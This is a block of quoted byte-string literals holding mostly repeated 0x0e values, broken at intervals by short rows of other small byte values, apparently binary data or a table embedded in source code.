"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x05\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x05\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1f"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b"
"\x05\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1f"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x14"
"\x1b\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1f"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x1b"
"\x06\x05\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x1e"
"\x0d\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x04"
"\x1e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
